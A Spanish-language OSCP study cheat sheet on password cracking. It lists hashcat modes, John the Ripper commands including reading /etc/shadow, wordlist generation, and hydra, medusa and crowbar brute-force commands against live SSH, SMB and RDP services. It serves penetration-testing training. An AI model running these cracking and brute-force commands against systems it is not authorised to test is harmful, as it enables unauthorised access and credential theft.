# Cracking de contraseñas > Generar wordlists y romper hashes/credenciales offline y online. Fuente: oscp.trastero.org/passwords. ## Identificar el hash ```bash hashid '$1$...' # o hash-identifier ``` ## hashcat — los modos que importan ``` -m 0 MD5 -m 100 SHA1 -m 1000 NTLM -m 1800 sha512crypt ($6$, /etc/shadow) -m 5600 NetNTLMv2 (capturado con Responder → Client-side attacks) -m 13100 Kerberoast TGS ($krb5tgs$) → Kerberoasting -m 18200 AS-REP ($krb5asrep$) → AS-REP Roasting -m 22000 WPA-PBKDF2 -m 13400 KeePass ``` ```bash hashcat -m 1000 hashes.txt /usr/share/wordlists/rockyou.txt -r rules/best64.rule ``` ## John the Ripper ```bash unshadow /etc/passwd /etc/shadow > unshadowed john --format=NT hashes.txt --wordlist=rockyou.txt zip2john file.zip > z.hash ; rar2john ; ssh2john id_rsa ; keepass2john # extractores john --rules --wordlist=rockyou.txt z.hash ``` ## Wordlists a medida ```bash cewl http://IP -m 6 -w custom.txt # palabras de la propia web crunch 8 8 -t @@@@%%%% -o crunch.txt # patrones ``` ## Online (servicio en vivo) ```bash hydra -L users.txt -P rockyou.txt ssh://IP # ver Authentication attacks medusa -h IP -u admin -P pass.txt -M smbnt fcrackzip -u -D -p rockyou.txt secret.zip # ZIP crowbar -b rdp -s IP/32 -u admin -C pass.txt # RDP ``` Relacionado: Authentication attacks · Kerberoasting · Pass-the-Hash · OSCP MOC